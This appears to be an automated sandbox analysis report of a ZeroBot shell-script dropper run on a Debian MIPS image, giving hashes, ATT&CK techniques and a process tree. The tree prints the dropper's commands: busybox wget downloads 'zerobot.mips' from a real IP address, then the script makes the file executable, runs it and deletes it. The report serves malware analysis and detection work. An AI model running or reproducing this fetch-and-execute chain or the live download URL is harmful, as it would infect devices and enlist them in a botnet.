ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/09/2026, 07:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Size 1KB
Sample260930-jbbzyavxht
SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
MD5 ff0392a6b6e6f80511315fd3e571cab1
SHA1 cdf934b11863ab95509ef877ed2ee19742d42068
SHA512 752d29fcf75c70156a67c37d6c452eb979fc622b3b199d68d08a91c8a7639e920d5ee672da9649de0af23a2741422f2ef33db4f64168ac700f66ac9de2da8aa0
TLSH
T1DC313CF3FA66BC7271858839E75A7485A69B1C37182DAD5CB485F8303F3C804F621B66
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/zerobot.mips	742	ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
729	rm
731	busybox
742	zerobot.mips
744	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zerobot.mips	busybox

/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
1⤵
- Executes dropped EXE
PID:724
- /bin/busybox
  /bin/busybox uname -m
  2⤵
  PID:727
- /bin/rm
  rm -f zerobot.mips
  2⤵
  - System Network Configuration Discovery
  PID:729
- /bin/busybox
  /bin/busybox wget -q -O zerobot.mips http://176.65.139.157/fvbig/zerobot.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod +x zerobot.mips
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/zerobot.mips
  ./zerobot.mips zerobot.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/rm
  rm -f zerobot.mips
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/rm
  rm -f telnet2.sh
  2⤵
  PID:746

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

zerobot.mips

Path /tmp/zerobot.mips
Size 244KB
SHA256 43820d92efd2b7c619970523b830a8709afb96d02bb89fba8e772a1a63c15976
MD5 b48cf7ac5130c6fe2cb75981ab4192e8
SHA1 239a6ea76c8166f8beb7be47ca75d30e3f0c6fa5
SHA512 d3aa571ea6216ff768b18d0f744439a5781a72f292a9ba320a42be573f45b88786d5b53b346e74435e8991c35c3b5d7296041e76cb8ef326e6864bfefa1a11c2
SSDEEP 6144:hUNy/7bDfLtpmJM9mzx0d/c9Ywe2HjhG9EbA8mkrNBBWcKh7:hUCvTUKd/32Hj105kZBQcO7
TLSH
T15E3423CD9D5C9C1DE2A723DE832569B0394A6D7805CFD6BC5648EA3E05F022F76CBA04
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download